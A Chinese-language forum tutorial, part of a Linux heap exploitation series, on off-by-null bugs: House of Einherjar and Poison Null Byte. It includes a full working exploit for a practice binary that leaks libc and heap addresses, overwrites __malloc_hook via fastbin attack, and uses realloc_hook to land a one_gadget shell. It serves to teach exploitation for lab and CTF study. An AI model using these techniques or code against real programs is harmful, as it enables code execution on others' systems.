吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 7759|回复: 37
收起左侧

[系统底层] 从零开始的Linux堆利用(十一)——Off By NULL

  [复制链接]
呆毛王与咖喱棒 发表于 2021-12-9 18:45

Off-By-Null

Off By Null和Off By One差别在于只能溢出一个Null Byte而不是一个可控的字符

相比之下难度更大一些,这一节主要是两个利用Off by Null漏洞的方法

  • House of Einherjar思路是清除一个申请了的chunk的prev_inuse位,之后在free的时候触发consolidate使得前一个chunk存在两个指针;

  • Google Posion Null Byte则是针对free掉了的chunk,通过修改free chunk的大小,使被溢出的chunk被再次申请时错误更新prev_inuse位,最终free后一个chunk时触发consolidate。

House of Einherjar

可以malloc三次smallbin,溢出一个Null byte

构造一个chunk_B大小0x100,清掉prev_inuse位,伪造一个prev_size到user的位置

user里面把fd、bk都设置成自己绕过safe unlink检查

username = p64(0) + p64(0x91) + p64(elf.sym.user) + p64(elf.sym.user)

chunk_A = malloc(0x88)
chunk_B = malloc(0xf8)

edit(chunk_A, p64(0)*16+p64(heap-elf.sym.user+0x90))

# consolidate
free(chunk_B)

这样在free的时候提示了一个错误 corrupted size vs. prev_size

image-20211126213304064

这部分比较的具体内容是这里

chunksize(P)!=prev_size(next_chunk(P))

也就是在user处伪造的chunk size 0x91和

从0x91这个chunk找到下一个chunk,看这个chunk的prev_inuse字段

发现这两个值不相等

一个简单的绕过方法就是将伪造的这个值设置为8,这样通过prev_size(next_chunk(P))找到的也是这个8本身,就发现两者相等

image-20211126213632590

虽然这个值不是一个有效的chunk size,但是可以这样绕过

接下来free B时发生consolidate,直接从Top chunk合并到user这里

image-20211126213820733

因为top chunk都到这里了,接下来直接申请一个新的chunk就可以修改下面的target了

Posion Null Byte

前面的思路是消除一个已经申请了的chunk的prev_inuse

然后利用consolidate得到一个dup的指针

而Off By Null还有一种针对已经free掉的chunk的利用方法,最初是2014年时glibc中被爆出一个堆上的off by null漏洞,google project zero的一个人利用这个漏洞获取到了代码执行的权限,后续又在实际的程序上进行了利用(pkexec)

这里有三个链接可以参考一下;

原理

举例说明的话,首先申请三个chunk

头尾不重要,中间的chunk假设大小是0x210,将其free掉之后可以得到图中左边的状态

这时利用Null Byte的溢出修改这个chunk的大小为0x200,但是chunk_C处的prev_size是没有变化的

接下来申请两次0x100,这里会触发之前介绍过的remaindering,分割成了两个0x100的chunk

但是由于chunk_B的大小被溢出改成了0x200,chunk_C的prev_inuse并没有被设置为1

而是更新到了B2和C之间的0x10字节上

这时执行free(chunk_C),由于C的prev_inuse是0,并且prev_size是0x210

会直接将C和B1、B2合并(consolidate)全部free掉

这时再次申请的内容就会与chunk_B1、chunk_B2发生重叠

这样就可以得到一个overlap的指针,而有了overlap的指针就可以进一步实施unsortedbin attack、fastbin attack等等

实践

image-20211209124512191

这个文件的保护机制全部都是打开的状态

堆菜单的功能有malloc、edit、free和read

但是这个程序没有泄漏出堆地址和libc的地址

栈上保存着一个变量m_array,用于存储堆申请chunk的相关信息

每一项有两个8字节组成,user_data是申请空间的地址,request_size是申请的大小

image-20211209125919505

漏洞在于edit函数中

image-20211209130229087

这里在执行时首先直接读取申请大小的内容到user_data处

tmp = read(0, m_array[na].user_data, m_array[na].request_size)

read的返回结果为成功写入的字节

m_array[na].user_data[tmp]=0

之后这样一个操作在写入的内容后面又加入一个0

这一个字节也就是溢出的一个Null字节

按照上面介绍的原理直接写一下exploit

chunk_A = malloc(0x88)
chunk_B = malloc(0x208)
chunk_C = malloc(0x88)
chunk_D = malloc(0x88)

free(chunk_B)
edit(chunk_A,"a"*0x88)

chunk_B1 = malloc(0xf8)
chunk_B2 = malloc(0xf8)

free(chunk_C)

但是这样运行会看到一个熟悉的错误

image-20211209152315281

unlink时出现错误,原因就是chunk_B在safe unlink时bk->fd==p && fd->bk==p这个条件不满足

在以往的程序中要绕过也很容易,只需要将chunk_B1的fd、bk都设置为自身,就可以通过这个判断;

但是这样的前提是程序存在一个堆的地址泄漏

这里可以使用的方法是将B1释放,让它真的是一个unsortedbin,这样就可以通过unlink的条件


overlap的chunk还有B2,也可以用于进一步的攻击

chunk_A = malloc(0x88)
chunk_B = malloc(0x208)
chunk_C = malloc(0x88)
chunk_D = malloc(0x88)

free(chunk_B)
edit(chunk_A,"a"*0x88)

chunk_B1 = malloc(0xf8)
chunk_B2 = malloc(0xf8)

free(chunk_B1)
free(chunk_C)

执行exploit可以看到触发了consolidate,chunk_B和C合并后放到了unsortedbin中

image-20211209154503315

其中绿色是chunk_B1,蓝色是chunk_B2,红色是chunk_C

目前chunk_B2的指针还是可用的,接下来先利用unsortedbin leak得到libc的地址和堆地址

libc的地址可以通过再次申请B1,触发remaindering之后填在B2的fd和bk处

而堆地址的话,则可以通过释放chunk_A,将chunk_A也加入到unsortedbin中

这样更新fd、bk时会在B2的fd写入main_arena中的地址,bk写入chunk_A的地址;

image-20211209162148870

就可以一次读获取到两个leak

chunk_B1 = malloc(0xf8)
free(chunk_A)

data = read(chunk_B2,16)
libc.address = libc.sym.__malloc_hook - (u64(data[:8])-0x68)
heap = u64(data[8:])

有了libc的地址,最后利用fastbin attack修改malloc_hook就可以拿到shell了

chunk_A = malloc(0x88)
fast = malloc(0x68)
free(fast)

edit(chunk_B2, p64(libc.sym.__malloc_hook - 0x23))
fast = malloc(0x68)

target = malloc(0x68)
edit(target, b'a'*0x13+p64(libc.address+one_gadget))

首先把chunk_A申请回来

然后申请一个大小为0x68的chunk,这个chunk和B_2是同一个指针

将其free掉加入到fastbin中

执行fastbin attack将malloc_hook修改为one_gadget

但是执行之后会发现libc的几个one_gadget都没办法执行

在这里下一个断点调试一下b *__malloc_hook

image-20211209181740399

三个one_gadget需要满足的条件依次为:

  • rax==NULL
  • [rsp+0x30]==NULL
  • [rsp+0x50]==NULL

而运行到这里时,栈的情况为

image-20211209181923401

这两个条件都不满足,同时rax的值也不是0

但是可以注意到0x50的位置虽然不是0,但是0x58的位置是0

如果能够想办法让这个0在0x50处就好了。

这里涉及到一种调整栈的方法,利用realloc_hook调整栈

realloc_hook就在malloc_hook的前面,因此利用fastbin attack也是可以覆盖这个位置的

realloc函数开始位置首先有一系列push,之后执行realloc_hook

image-20211128135341556

将malloc_hook填为realloc的地址加一个偏移(这样减少push的数量达到调整栈的目的)

将realloc_hook填为目标的one_gadget

这样触发时首先执行malloc_hook即realloc加偏移,之后执行realloc_hook即one_gadget

那么首先我们修改一下exploit的最后一行

edit(target, b'a'*0xb+p64(libc.address+one_gadget)+p64(libc.sym.realloc+2))

要使0x58的0到0x50处,只需要少push一个值即可

所以在malloc_hook处填写为realloc+2的地址

image-20211209182836478

再运行一下可以看到这里0x50就已经是0了,满足了one_gadget的条件

最后的exploit

chunk_A = malloc(0x88)
chunk_B = malloc(0x208)
chunk_C = malloc(0x88)
chunk_D = malloc(0x88)

free(chunk_B)
edit(chunk_A,"a"*0x88)
# 溢出一个Null Byte

chunk_B1 = malloc(0xf8)
# renmaindering
chunk_B2 = malloc(0xf8)

free(chunk_B1)
# 将B1加入到unsortedbin,从而绕过safe unlink
free(chunk_C)
# 触发consolidate,B、C的空间都加入到unsortedbin

chunk_B1 = malloc(0xf8)
free(chunk_A)
# 将B2的fd、bk变成libc的泄漏地址和堆的泄漏地址

data = read(chunk_B2,16)
libc.address = libc.sym.__malloc_hook - (u64(data[:8])-0x68)
heap = u64(data[8:])
# 计算得到堆地址和libc地址

chunk_A = malloc(0x88)
# 申请回来chunk_A
fast = malloc(0x68)
free(fast)
# 将B2的位置释放为fastbin

edit(chunk_B2, p64(libc.sym.__malloc_hook - 0x23))
# 利用fastbin attack得到malloc_hook写能力
fast = malloc(0x68)

target = malloc(0x68)

one_gadget = 0xd6fb1
edit(target, b'a'*0xb + p64(libc.address+one_gadget) + p64(libc.sym.realloc+2))
# 利用realloc调整栈

不过除了这样调整one_gadget的做法,还可以结合fastbin attack和unsortedbin attack,转而修改free_hook而不是malloc_hook

详细可以看这里

这样就可以直接free掉一个/bin/sh字符串获得权限了

off-by-null.zip

13.11 KB, 下载次数: 17, 下载积分: 吾爱币 -1 CB

免费评分

参与人数 21吾爱币 +20 热心值 +19 收起 理由
ZhangYixiSuccee + 1 我很赞同!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
xzhtx + 1 + 1 谢谢@Thanks!
cflollolcf + 1 + 1 谢谢@Thanks!
soyadokio + 1 + 1 用心讨论,共获提升!
Ugaogao + 1 + 1 谢谢@Thanks!
不小于3个字符 + 1 + 1 我很赞同!
DancingLight + 1 + 1 热心回复!
努力加载中 + 1 + 1 热心回复!
weiye588 + 1 + 1 热心回复!
OYyunshen + 1 + 1 我很赞同!
yixi + 1 + 1 谢谢@Thanks!
gaosld + 1 + 1 谢谢@Thanks!
plasd + 1 + 1 谢谢@Thanks!
huluobo312 + 1 + 1 我很赞同!师傅太强了,追更追更!
Badao163 + 1 谢谢@Thanks!
Ming233 + 1 我很赞同!
derstiga + 1 + 1 谢谢@Thanks!
jwbdr1230123 + 1 + 1 我很赞同!
54sb + 1 我很赞同!
sushaka + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

李佑辰 发表于 2021-12-9 18:48
教程写的很详细 非常清晰 谢谢分享 受教了
DXZ123 发表于 2021-12-9 19:15
someonexy 发表于 2021-12-9 19:28
jwbdr1230123 发表于 2021-12-9 20:04
看到代码就感觉很厉害
lordship 发表于 2021-12-9 20:06
谢谢学到了
轩宸 发表于 2021-12-9 21:26
学习一下
加奈绘 发表于 2021-12-9 21:31
学习了,谢谢分享
头像被屏蔽
wxf2589 发表于 2021-12-10 06:03
学习了,感谢分享!
xyz1234 发表于 2021-12-10 12:59
学习了,感谢分享!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-22 00:48

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表